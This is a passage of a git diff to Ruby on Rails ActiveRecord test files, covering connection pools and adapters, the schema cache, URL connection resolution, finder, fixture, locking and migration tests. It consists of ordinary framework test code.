- blob_column = Mysql2Column.new("title", nil, "blob")
+ blob_column = Mysql2Adapter::Column.new("title", nil, "blob")
assert !blob_column.has_default?
- text_column = Mysql2Column.new("title", nil, "text")
+ text_column = Mysql2Adapter::Column.new("title", nil, "text")
assert !text_column.has_default?
end
end
diff --git a/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb b/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
new file mode 100644
index 0000000000..7af9079b48
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/abstract_adapter_test.rb
@@ -0,0 +1,54 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class AbstractAdapterTest < ActiveRecord::TestCase
+ attr_reader :adapter
+
+ def setup
+ @adapter = AbstractAdapter.new nil, nil
+ end
+
+ def test_in_use?
+ # FIXME: change to refute in Rails 4.0 / mt
+ assert !adapter.in_use?, 'adapter is not in use'
+ assert adapter.lease, 'lease adapter'
+ assert adapter.in_use?, 'adapter is in use'
+ end
+
+ def test_lease_twice
+ assert adapter.lease, 'should lease adapter'
+ assert !adapter.lease, 'should not lease adapter'
+ end
+
+ def test_last_use
+ assert !adapter.last_use
+ adapter.lease
+ assert adapter.last_use
+ end
+
+ def test_expire_mutates_in_use
+ assert adapter.lease, 'lease adapter'
+ assert adapter.in_use?, 'adapter is in use'
+ adapter.expire
+ assert !adapter.in_use?, 'adapter is in use'
+ end
+
+ def test_close
+ pool = ConnectionPool.new(Base::ConnectionSpecification.new({}, nil))
+ pool.connections << adapter
+ adapter.pool = pool
+
+ # Make sure the pool marks the connection in use
+ assert_equal adapter, pool.connection
+ assert adapter.in_use?
+
+ # Close should put the adapter back in the pool
+ adapter.close
+ assert !adapter.in_use?
+
+ assert_equal adapter, pool.connection
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
index abf317768f..04d543fea9 100644
--- a/activerecord/test/cases/connection_adapters/connection_handler_test.rb
+++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
@@ -6,7 +6,12 @@ module ActiveRecord
def setup
@handler = ConnectionHandler.new
@handler.establish_connection 'america', Base.connection_pool.spec
- @klass = Struct.new(:name).new('america')
+ @klass = Class.new do
+ def self.name; 'america'; end
+ end
+ @subklass = Class.new(@klass) do
+ def self.name; 'north america'; end
+ end
end
def test_retrieve_connection
@@ -28,6 +33,18 @@ module ActiveRecord
def test_retrieve_connection_pool
assert_not_nil @handler.retrieve_connection_pool(@klass)
end
+
+ def test_retrieve_connection_pool_uses_superclass_when_no_subclass_connection
+ assert_not_nil @handler.retrieve_connection_pool(@subklass)
+ end
+
+ def test_retrieve_connection_pool_uses_superclass_pool_after_subclass_establish_and_remove
+ @handler.establish_connection 'north america', Base.connection_pool.spec
+
+ @handler.remove_connection @subklass
+ assert_same @handler.retrieve_connection_pool(@klass),
+ @handler.retrieve_connection_pool(@subklass)
+ end
end
end
end
diff --git a/activerecord/test/cases/connection_adapters/schema_cache_test.rb b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
new file mode 100644
index 0000000000..d60de54aed
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
@@ -0,0 +1,49 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class SchemaCacheTest < ActiveRecord::TestCase
+ def setup
+ connection = ActiveRecord::Base.connection
+ @cache = SchemaCache.new connection
+ end
+
+ def test_primary_key
+ assert_equal 'id', @cache.primary_keys['posts']
+ end
+
+ def test_primary_key_for_non_existent_table
+ assert_equal 'id', @cache.primary_keys['omgponies']
+ end
+
+ def test_primary_key_is_set_on_columns
+ posts_columns = @cache.columns_hash['posts']
+ assert posts_columns['id'].primary
+
+ (posts_columns.keys - ['id']).each do |key|
+ assert !posts_columns[key].primary
+ end
+ end
+
+ def test_caches_columns
+ columns = @cache.columns['posts']
+ assert_equal columns, @cache.columns['posts']
+ end
+
+ def test_caches_columns_hash
+ columns_hash = @cache.columns_hash['posts']
+ assert_equal columns_hash, @cache.columns_hash['posts']
+ end
+
+ def test_clearing_column_cache
+ @cache.columns['posts']
+ @cache.columns_hash['posts']
+
+ @cache.clear!
+
+ assert_equal 0, @cache.columns.size
+ assert_equal 0, @cache.columns_hash.size
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb
index f554ceef35..a1d1177289 100644
--- a/activerecord/test/cases/connection_management_test.rb
+++ b/activerecord/test/cases/connection_management_test.rb
@@ -25,40 +25,6 @@ module ActiveRecord
assert ActiveRecord::Base.connection_handler.active_connections?
end
- class FakeBase < ActiveRecord::Base
- def self.establish_connection spec
- String === spec ? super : spec
- end
- end
-
- def test_url_host_no_db
- spec = FakeBase.establish_connection 'postgres://foo?encoding=utf8'
- assert_equal({
- :adapter => "postgresql",
- :database => "",
- :host => "foo",
- :encoding => "utf8" }, spec)
- end
-
- def test_url_host_db
- spec = FakeBase.establish_connection 'postgres://foo/bar?encoding=utf8'
- assert_equal({
- :adapter => "postgresql",
- :database => "bar",
- :host => "foo",
- :encoding => "utf8" }, spec)
- end
-
- def test_url_port
- spec = FakeBase.establish_connection 'postgres://foo:123?encoding=utf8'
- assert_equal({
- :adapter => "postgresql",
- :database => "",
- :port => 123,
- :host => "foo",
- :encoding => "utf8" }, spec)
- end
-
def test_app_delegation
manager = ConnectionManagement.new(@app)
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
index f92f4e62c5..d170a13b23 100644
--- a/activerecord/test/cases/connection_pool_test.rb
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -26,67 +26,6 @@ module ActiveRecord
assert !@pool.active_connection?
end
- def test_pool_caches_columns
- columns = @pool.columns['posts']
- assert_equal columns, @pool.columns['posts']
- end
-
- def test_pool_caches_columns_hash
- columns_hash = @pool.columns_hash['posts']
- assert_equal columns_hash, @pool.columns_hash['posts']
- end
-
- def test_clearing_column_cache
- @pool.columns['posts']
- @pool.columns_hash['posts']
-
- @pool.clear_cache!
-
- assert_equal 0, @pool.columns.size
- assert_equal 0, @pool.columns_hash.size
- end
-
- def test_primary_key
- assert_equal 'id', @pool.primary_keys['posts']
- end
-
- def test_primary_key_for_non_existent_table
- assert_equal 'id', @pool.primary_keys['omgponies']
- end
-
- def test_primary_key_is_set_on_columns
- posts_columns = @pool.columns_hash['posts']
- assert posts_columns['id'].primary
-
- (posts_columns.keys - ['id']).each do |key|
- assert !posts_columns[key].primary
- end
- end
-
- def test_clear_stale_cached_connections!
- pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
-
- threads = [
- Thread.new { pool.connection },
- Thread.new { pool.connection }]
-
- threads.map { |t| t.join }
-
- pool.extend Module.new {
- attr_accessor :checkins
- def checkin conn
- @checkins << conn
- conn.object_id
- end
- }
- pool.checkins = []
-
- cleared_threads = pool.clear_stale_cached_connections!
- assert((cleared_threads - threads.map { |x| x.object_id }).empty?,
- "threads should have been removed")
- assert_equal pool.checkins.length, threads.length
- end
-
def test_checkout_behaviour
pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
connection = pool.connection
@@ -107,12 +46,15 @@ module ActiveRecord
assert thread_ids.include?(t.object_id)
end
- pool.connection
+ assert_deprecated do
+ pool.connection
+ end
threads.each do |t|
thread_ids = pool.instance_variable_get(:@reserved_connections).keys
assert !thread_ids.include?(t.object_id)
end
- end.join()
+ pool.connection.close
+ end.join
end
@@ -135,6 +77,10 @@ module ActiveRecord
pool.with_connection
end
end
+
+ def test_pool_sets_connection_visitor
+ assert @pool.connection.visitor.is_a?(Arel::Visitors::ToSql)
+ end
end
end
end
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
new file mode 100644
index 0000000000..d4b0f236ee
--- /dev/null
+++ b/activerecord/test/cases/connection_specification/resolver_test.rb
@@ -0,0 +1,41 @@
+require "cases/helper"
+
+module ActiveRecord
+ class Base
+ class ConnectionSpecification
+ class ResolverTest < ActiveRecord::TestCase
+ def resolve(spec)
+ Resolver.new(spec, {}).spec.config
+ end
+
+ def test_url_host_no_db
+ spec = resolve 'mysql://foo?encoding=utf8'
+ assert_equal({
+ :adapter => "mysql",
+ :database => "",
+ :host => "foo",
+ :encoding => "utf8" }, spec)
+ end
+
+ def test_url_host_db
+ spec = resolve 'mysql://foo/bar?encoding=utf8'
+ assert_equal({
+ :adapter => "mysql",
+ :database => "bar",
+ :host => "foo",
+ :encoding => "utf8" }, spec)
+ end
+
+ def test_url_port
+ spec = resolve 'mysql://foo:123?encoding=utf8'
+ assert_equal({
+ :adapter => "mysql",
+ :database => "",
+ :port => 123,
+ :host => "foo",
+ :encoding => "utf8" }, spec)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index 5dc5f99582..4514a26e57 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -48,6 +48,20 @@ class FinderTest < ActiveRecord::TestCase
assert Topic.exists?
end
+ # exists? should handle nil for id's that come from URLs and always return false
+ # (example: Topic.exists?(params[:id])) where params[:id] is nil
+ def test_exists_with_nil_arg
+ assert !Topic.exists?(nil)
+ assert Topic.exists?
+ assert !Topic.first.replies.exists?(nil)
+ assert Topic.first.replies.exists?
+ end
+
+ # ensures +exists?+ runs valid SQL by excluding order value
+ def test_exists_with_order
+ assert Topic.order(:id).uniq.exists?
+ end
+
def test_does_not_exist_with_empty_table_and_no_args_given
Topic.delete_all
assert !Topic.exists?
@@ -243,6 +257,32 @@ class FinderTest < ActiveRecord::TestCase
end
end
+ def test_first_and_last_with_integer_should_use_sql_limit
+ assert_sql(/LIMIT 2|ROWNUM <= 2/) { Topic.first(2).entries }
+ assert_sql(/LIMIT 5|ROWNUM <= 5/) { Topic.last(5).entries }
+ end
+
+ def test_last_with_integer_and_order_should_keep_the_order
+ assert_equal Topic.order("title").to_a.last(2), Topic.order("title").last(2)
+ end
+
+ def test_last_with_integer_and_order_should_not_use_sql_limit
+ query = assert_sql { Topic.order("title").last(5).entries }
+ assert_equal 1, query.length
+ assert_no_match(/LIMIT/, query.first)
+ end
+
+ def test_last_with_integer_and_reorder_should_not_use_sql_limit
+ query = assert_sql { Topic.reorder("title").last(5).entries }
+ assert_equal 1, query.length
+ assert_no_match(/LIMIT/, query.first)
+ end
+
+ def test_first_and_last_with_integer_should_return_an_array
+ assert_kind_of Array, Topic.first(5)
+ assert_kind_of Array, Topic.last(5)
+ end
+
def test_unexisting_record_exception_handling
assert_raise(ActiveRecord::RecordNotFound) {
Topic.find(1).parent
@@ -334,6 +374,10 @@ class FinderTest < ActiveRecord::TestCase
assert_equal [1], Comment.find(:all, :conditions => { :id => 1..1, :post_id => 1..10 }).map(&:id).sort
end
+ def test_find_on_hash_conditions_with_array_of_integers_and_ranges
+ assert_equal [1,2,3,5,6,7,8,9], Comment.find(:all, :conditions => {:id => [1..2, 3, 5, 6..8, 9]}).map(&:id).sort
+ end
+
def test_find_on_multiple_hash_conditions
assert Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false })
assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
@@ -1119,7 +1163,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_one_message_with_custom_primary_key
- Toy.set_primary_key :name
+ Toy.primary_key = :name
begin
Toy.find 'Hello World!'
rescue ActiveRecord::RecordNotFound => e
diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb
index 842e8a0049..7e2dafcd01 100644
--- a/activerecord/test/cases/fixtures_test.rb
+++ b/activerecord/test/cases/fixtures_test.rb
@@ -20,6 +20,7 @@ require 'models/book'
require 'models/admin'
require 'models/admin/account'
require 'models/admin/user'
+require 'tempfile'
class FixturesTest < ActiveRecord::TestCase
self.use_instantiated_fixtures = true
@@ -45,6 +46,21 @@ class FixturesTest < ActiveRecord::TestCase
end
end
+ def test_broken_yaml_exception
+ badyaml = Tempfile.new ['foo', '.yml']
+ badyaml.write 'a: : '
+ badyaml.flush
+
+ dir = File.dirname badyaml.path
+ name = File.basename badyaml.path, '.yml'
+ assert_raises(ActiveRecord::Fixture::FormatError) do
+ ActiveRecord::Fixtures.create_fixtures(dir, name)
+ end
+ ensure
+ badyaml.close
+ badyaml.unlink
+ end
+
def test_create_fixtures
ActiveRecord::Fixtures.create_fixtures(FIXTURES_ROOT, "parrots")
assert Parrot.find_by_name('Curious George'), 'George is in the database'
@@ -435,14 +451,36 @@ end
class CustomConnectionFixturesTest < ActiveRecord::TestCase
set_fixture_class :courses => Course
fixtures :courses
- # Set to false to blow away fixtures cache and ensure our fixtures are loaded
- # and thus takes into account our set_fixture_class
self.use_transactional_fixtures = false
def test_connection
assert_kind_of Course, courses(:ruby)
assert_equal Course.connection, courses(:ruby).connection
end
+
+ def test_leaky_destroy
+ assert_nothing_raised { courses(:ruby) }
+ courses(:ruby).destroy
+ end
+
+ def test_it_twice_in_whatever_order_to_check_for_fixture_leakage
+ test_leaky_destroy
+ end
+end
+
+class TransactionalFixturesOnCustomConnectionTest < ActiveRecord::TestCase
+ set_fixture_class :courses => Course
+ fixtures :courses
+ self.use_transactional_fixtures = true
+
+ def test_leaky_destroy
+ assert_nothing_raised { courses(:ruby) }
+ courses(:ruby).destroy
+ end
+
+ def test_it_twice_in_whatever_order_to_check_for_fixture_leakage
+ test_leaky_destroy
+ end
end
class InvalidTableNameFixturesTest < ActiveRecord::TestCase
@@ -480,7 +518,9 @@ class ManyToManyFixturesWithClassDefined < ActiveRecord::TestCase
end
class FixturesBrokenRollbackTest < ActiveRecord::TestCase
- def blank_setup; end
+ def blank_setup
+ @fixture_connections = [ActiveRecord::Base.connection]
+ end
alias_method :ar_setup_fixtures, :setup_fixtures
alias_method :setup_fixtures, :blank_setup
alias_method :setup, :blank_setup
@@ -587,8 +627,8 @@ class FoxyFixturesTest < ActiveRecord::TestCase
end
def test_preserves_existing_fixture_data
- assert_equal(2.weeks.ago.utc.to_date, pirates(:redbeard).created_on.utc.to_date)
- assert_equal(2.weeks.ago.utc.to_date, pirates(:redbeard).updated_on.utc.to_date)
+ assert_equal(2.weeks.ago.to_date, pirates(:redbeard).created_on.to_date)
+ assert_equal(2.weeks.ago.to_date, pirates(:redbeard).updated_on.to_date)
end
def test_generates_unique_ids
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
index b5d8314541..fab858e09c 100644
--- a/activerecord/test/cases/inheritance_test.rb
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -236,11 +236,11 @@ class InheritanceTest < ActiveRecord::TestCase
c.save
end
[ Company, Firm, Client].each { |klass| klass.reset_column_information }
- Company.set_inheritance_column('ruby_type')
+ Company.inheritance_column = 'ruby_type'
end
def switch_to_default_inheritance_column
[ Company, Firm, Client].each { |klass| klass.reset_column_information }
- Company.set_inheritance_column('type')
+ Company.inheritance_column = 'type'
end
end
diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb
index afec64750e..3ae7b63dff 100644
--- a/activerecord/test/cases/invertible_migration_test.rb
+++ b/activerecord/test/cases/invertible_migration_test.rb
@@ -27,6 +27,19 @@ module ActiveRecord
end
end
+ class LegacyMigration < ActiveRecord::Migration
+ def self.up
+ create_table("horses") do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+
+ def self.down
+ drop_table("horses")
+ end
+ end
+
def teardown
if ActiveRecord::Base.connection.table_exists?("horses")
ActiveRecord::Base.connection.drop_table("horses")
@@ -41,17 +54,39 @@ module ActiveRecord
end
end
- def test_up
+ def test_migrate_up
migration = InvertibleMigration.new
migration.migrate(:up)
assert migration.connection.table_exists?("horses"), "horses should exist"
end
- def test_down
+ def test_migrate_down
migration = InvertibleMigration.new
migration.migrate :up
migration.migrate :down
assert !migration.connection.table_exists?("horses")
end
+
+ def test_legacy_up
+ LegacyMigration.migrate :up
+ assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist"
+ end
+
+ def test_legacy_down
+ LegacyMigration.migrate :up
+ LegacyMigration.migrate :down
+ assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist"
+ end
+
+ def test_up
+ LegacyMigration.up
+ assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist"
+ end
+
+ def test_down
+ LegacyMigration.up
+ LegacyMigration.down
+ assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist"
+ end
end
end
diff --git a/activerecord/test/cases/lifecycle_test.rb b/activerecord/test/cases/lifecycle_test.rb
index 643e949087..75e5dfa49b 100644
--- a/activerecord/test/cases/lifecycle_test.rb
+++ b/activerecord/test/cases/lifecycle_test.rb
@@ -231,6 +231,18 @@ class LifecycleTest < ActiveRecord::TestCase
assert_not_nil observer.topic_ids.last
end
+ test "able to disable observers" do
+ observer = DeveloperObserver.instance # activate
+ observer.calls.clear
+
+ ActiveRecord::Base.observers.disable DeveloperObserver do
+ Developer.create! :name => 'Ancestor', :salary => 100000
+ SpecialDeveloper.create! :name => 'Descendent', :salary => 100000
+ end
+
+ assert_equal [], observer.calls
+ end
+
def test_observer_is_called_once
observer = DeveloperObserver.instance # activate
observer.calls.clear
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
index 61baa55027..3d6db91f81 100644
--- a/activerecord/test/cases/locking_test.rb
+++ b/activerecord/test/cases/locking_test.rb
@@ -10,8 +10,8 @@ require 'models/string_key_object'
class LockWithoutDefault < ActiveRecord::Base; end
class LockWithCustomColumnWithoutDefault < ActiveRecord::Base
- set_table_name :lock_without_defaults_cust
- set_locking_column :custom_lock_version
+ self.table_name = :lock_without_defaults_cust
+ self.locking_column = :custom_lock_version
end
class ReadonlyFirstNamePerson < Person
@@ -125,6 +125,24 @@ class OptimisticLockingTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
end
+ def test_lock_exception_record
+ p1 = Person.new(:first_name => 'mira')
+ assert_equal 0, p1.lock_version
+
+ p1.first_name = 'mira2'
+ p1.save!
+ p2 = Person.find(p1.id)
+ assert_equal 0, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ p1.first_name = 'mira3'
+ p1.save!
+
+ p2.first_name = 'sue'
+ error = assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+ assert_equal(error.record.object_id, p2.object_id)
+ end
+
def test_lock_new_with_nil
p1 = Person.new(:first_name => 'anika')
p1.save!
@@ -141,7 +159,6 @@ class OptimisticLockingTest < ActiveRecord::TestCase
assert_equal 1, p1.lock_version
end
-
def test_lock_column_name_existing
t1 = LegacyThing.find(1)
t2 = LegacyThing.find(1)
@@ -209,6 +226,48 @@ class OptimisticLockingTest < ActiveRecord::TestCase
end
end
+class SetLockingColumnTest < ActiveRecord::TestCase
+ def test_set_set_locking_column_with_value
+ k = Class.new( ActiveRecord::Base )
+ k.locking_column = "foo"
+ assert_equal "foo", k.locking_column
+
+ assert_deprecated do
+ k.set_locking_column "bar"
+ end
+ assert_equal "bar", k.locking_column
+ end
+
+ def test_set_locking_column_with_block
+ k = Class.new( ActiveRecord::Base )
+ k.locking_column = 'foo'
+
+ assert_deprecated do
+ k.set_locking_column do
+ "lock_" + ActiveSupport::Deprecation.silence { original_locking_column }
+ end
+ end
+ assert_equal "lock_foo", k.locking_column
+ end
+
+ def test_original_locking_column
+ k = Class.new(ActiveRecord::Base)
+ k.locking_column = "bar"
+
+ assert_deprecated do
+ assert_equal ActiveRecord::Locking::Optimistic::ClassMethods::DEFAULT_LOCKING_COLUMN, k.original_locking_column
+ end
+
+ k = Class.new(ActiveRecord::Base)
+ k.locking_column = "omg"
+ k.locking_column = "wtf"
+
+ assert_deprecated do
+ assert_equal "omg", k.original_locking_column
+ end
+ end
+end
+
class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
fixtures :people, :legacy_things, :references
diff --git a/activerecord/test/cases/mass_assignment_security_test.rb b/activerecord/test/cases/mass_assignment_security_test.rb
index ef35f3341e..9fff50edcb 100644
--- a/activerecord/test/cases/mass_assignment_security_test.rb
+++ b/activerecord/test/cases/mass_assignment_security_test.rb
@@ -231,7 +231,9 @@ class MassAssignmentSecurityTest < ActiveRecord::TestCase
def test_protection_against_class_attribute_writers
[:logger, :configurations, :primary_key_prefix_type, :table_name_prefix, :table_name_suffix, :pluralize_table_names,
- :default_timezone, :schema_format, :lock_optimistically, :record_timestamps].each do |method|
+ :default_timezone, :schema_format, :lock_optimistically, :timestamped_migrations, :default_scopes,
+ :connection_handler, :nested_attributes_options, :_attr_readonly, :attribute_types_cached_by_default,
+ :attribute_method_matchers, :time_zone_aware_attributes, :skip_time_zone_conversion_for_attributes].each do |method|
assert_respond_to Task, method
assert_respond_to Task, "#{method}="
assert_respond_to Task.new, method
diff --git a/activerecord/test/cases/method_scoping_test.rb b/activerecord/test/cases/method_scoping_test.rb
index a0cb5dbdc5..0ab4f30363 100644
--- a/activerecord/test/cases/method_scoping_test.rb
+++ b/activerecord/test/cases/method_scoping_test.rb
@@ -14,7 +14,7 @@ class MethodScopingTest < ActiveRecord::TestCase
def test_set_conditions
Developer.send(:with_scope, :find => { :conditions => 'just a test...' }) do
- assert_match '(just a test...)', Developer.scoped.arel.to_sql
+ assert_match '(just a test...)', Developer.scoped.to_sql
end
end
@@ -274,7 +274,7 @@ class NestedScopingTest < ActiveRecord::TestCase
Developer.send(:with_scope, :find => { :conditions => 'salary = 80000' }) do
Developer.send(:with_scope, :find => { :limit => 10 }) do
devs = Developer.scoped
- assert_match '(salary = 80000)', devs.arel.to_sql
+ assert_match '(salary = 80000)', devs.to_sql
assert_equal 10, devs.taken
end
end
@@ -308,7 +308,7 @@ class NestedScopingTest < ActiveRecord::TestCase
Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do
Developer.send(:with_scope, :find => { :conditions => 'salary = 80000' }) do
devs = Developer.scoped
- assert_match "(name = 'David') AND (salary = 80000)", devs.arel.to_sql
+ assert_match "(name = 'David') AND (salary = 80000)", devs.to_sql
assert_equal(1, Developer.count)
end
Developer.send(:with_scope, :find => { :conditions => "name = 'Maiha'" }) do
@@ -321,7 +321,7 @@ class NestedScopingTest < ActiveRecord::TestCase
Developer.send(:with_scope, :find => { :conditions => 'salary = 80000', :limit => 10 }) do
Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do
devs = Developer.scoped
- assert_match "(salary = 80000) AND (name = 'David')", devs.arel.to_sql
+ assert_match "(salary = 80000) AND (name = 'David')", devs.to_sql
assert_equal 10, devs.taken
end
end
diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb
index 36007255fa..d108b456f0 100644
--- a/activerecord/test/cases/migration/command_recorder_test.rb
+++ b/activerecord/test/cases/migration/command_recorder_test.rb
@@ -104,9 +104,9 @@ module ActiveRecord
end
def test_invert_rename_index
- @recorder.record :rename_index, [:old, :new]
+ @recorder.record :rename_index, [:table, :old, :new]
rename = @recorder.inverse.first
- assert_equal [:rename_index, [:new, :old]], rename
+ assert_equal [:rename_index, [:table, :new, :old]], rename
end
def test_invert_add_timestamps
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
index 93a1249e43..00c811194c 100644
--- a/activerecord/test/cases/migration_test.rb
+++ b/activerecord/test/cases/migration_test.rb
@@ -121,6 +121,18 @@ if ActiveRecord::Base.connection.supports_migrations?
assert_nothing_raised { Person.connection.add_index("people", %w(last_name first_name administrator), :name => "named_admin") }
assert_nothing_raised { Person.connection.remove_index("people", :name => "named_admin") }
end
+
+ # Selected adapters support index sort order
+ if current_adapter?(:SQLite3Adapter, :MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+ assert_nothing_raised { Person.connection.add_index("people", ["last_name"], :order => {:last_name => :desc}) }
+ assert_nothing_raised { Person.connection.remove_index("people", ["last_name"]) }
+ assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"], :order => {:last_name => :desc}) }
+ assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
+ assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"], :order => {:last_name => :desc, :first_name => :asc}) }
+ assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
+ assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"], :order => :desc) }
+ assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
+ end
end
def test_index_symbol_names
@@ -389,8 +401,8 @@ if ActiveRecord::Base.connection.supports_migrations?
created_at_column = created_columns.detect {|c| c.name == 'created_at' }
updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
- assert created_at_column.null
- assert updated_at_column.null
+ assert !created_at_column.null
+ assert !updated_at_column.null
ensure
Person.connection.drop_table table_name rescue nil
end
@@ -471,11 +483,13 @@ if ActiveRecord::Base.connection.supports_migrations?
# Do a manual insertion
if current_adapter?(:OracleAdapter)
- Person.connection.execute "insert into people (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
+ Person.connection.execute "insert into people (id, wealth, created_at, updated_at) values (people_seq.nextval, 12345678901234567890.0123456789, sysdate, sysdate)"
elsif current_adapter?(:OpenBaseAdapter) || (current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003) #before mysql 5.0.3 decimals stored as strings
- Person.connection.execute "insert into people (wealth) values ('12345678901234567890.0123456789')"
+ Person.connection.execute "insert into people (wealth, created_at, updated_at) values ('12345678901234567890.0123456789', 0, 0)"
+ elsif current_adapter?(:PostgreSQLAdapter)
+ Person.connection.execute "insert into people (wealth, created_at, updated_at) values (12345678901234567890.0123456789, now(), now())"
else
- Person.connection.execute "insert into people (wealth) values (12345678901234567890.0123456789)"
+ Person.connection.execute "insert into people (wealth, created_at, updated_at) values (12345678901234567890.0123456789, 0, 0)"
end
# SELECT
@@ -516,6 +530,42 @@ if ActiveRecord::Base.connection.supports_migrations?
assert_equal 7, wealth_column.scale
end
+ # Test SQLite adapter specifically for decimal types with precision and scale
+ # attributes, since these need to be maintained in schema but aren't actually
+ # used in SQLite itself
+ if current_adapter?(:SQLite3Adapter)
+ def test_change_column_with_new_precision_and_scale
+ Person.delete_all
+ Person.connection.add_column 'people', 'wealth', :decimal, :precision => 9, :scale => 7
+ Person.reset_column_information
+
+ Person.connection.change_column 'people', 'wealth', :decimal, :precision => 12, :scale => 8
+ Person.reset_column_information
+
+ wealth_column = Person.columns_hash['wealth']
+ assert_equal 12, wealth_column.precision
+ assert_equal 8, wealth_column.scale
+ end
+
+ def test_change_column_preserve_other_column_precision_and_scale
+ Person.delete_all
+ Person.connection.add_column 'people', 'last_name', :string
+ Person.connection.add_column 'people', 'wealth', :decimal, :precision => 9, :scale => 7
+ Person.reset_column_information
+
+ wealth_column = Person.columns_hash['wealth']
+ assert_equal 9, wealth_column.precision
+ assert_equal 7, wealth_column.scale
+
+ Person.connection.change_column 'people', 'last_name', :string, :null => false
+ Person.reset_column_information
+
+ wealth_column = Person.columns_hash['wealth']
+ assert_equal 9, wealth_column.precision
+ assert_equal 7, wealth_column.scale
+ end
+ end
+
def test_native_types
Person.delete_all
Person.connection.add_column "people", "last_name", :string
@@ -977,7 +1027,7 @@ if ActiveRecord::Base.connection.supports_migrations?
t.column :title, :string
end
person_klass = Class.new(Person)
- person_klass.set_table_name 'testings'
+ person_klass.table_name = 'testings'
person_klass.connection.add_column "testings", "wealth", :integer, :null => false, :default => 99
person_klass.reset_column_information
@@ -1301,6 +1351,15 @@ if ActiveRecord::Base.connection.supports_migrations?
end
end
+ def test_dump_schema_information_outputs_lexically_ordered_versions
+ migration_path = MIGRATIONS_ROOT + '/valid_with_timestamps'
+ ActiveRecord::Migrator.run(:up, migration_path, 20100301010101)
+ ActiveRecord::Migrator.run(:up, migration_path, 20100201010101)
+
+ schema_info = ActiveRecord::Base.connection.dump_schema_information
+ assert_match(/20100201010101.*20100301010101/m, schema_info)
+ end
+
def test_finds_pending_migrations
ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_2", 1)
migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/interleaved/pass_2").pending_migrations
@@ -1580,91 +1639,6 @@ if ActiveRecord::Base.connection.supports_migrations?
end
- class SexyMigrationsTest < ActiveRecord::TestCase
- def test_references_column_type_adds_id
- with_new_table do |t|
- t.expects(:column).with('customer_id', :integer, {})
- t.references :customer
- end
- end
-
- def test_references_column_type_with_polymorphic_adds_type
- with_new_table do |t|
- t.expects(:column).with('taggable_type', :string, {})
- t.expects(:column).with('taggable_id', :integer, {})
- t.references :taggable, :polymorphic => true
- end
- end
-
- def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
- with_new_table do |t|
- t.expects(:column).with('taggable_type', :string, {:null => false})
- t.expects(:column).with('taggable_id', :integer, {:null => false})
- t.references :taggable, :polymorphic => true, :null => false
- end
- end
-
- def test_belongs_to_works_like_references
- with_new_table do |t|
- t.expects(:column).with('customer_id', :integer, {})
- t.belongs_to :customer
- end
- end
-
- def test_timestamps_creates_updated_at_and_created_at
- with_new_table do |t|
- t.expects(:column).with(:created_at, :datetime, kind_of(Hash))
- t.expects(:column).with(:updated_at, :datetime, kind_of(Hash))
- t.timestamps
- end
- end
-
- def test_integer_creates_integer_column
- with_new_table do |t|
- t.expects(:column).with(:foo, 'integer', {})
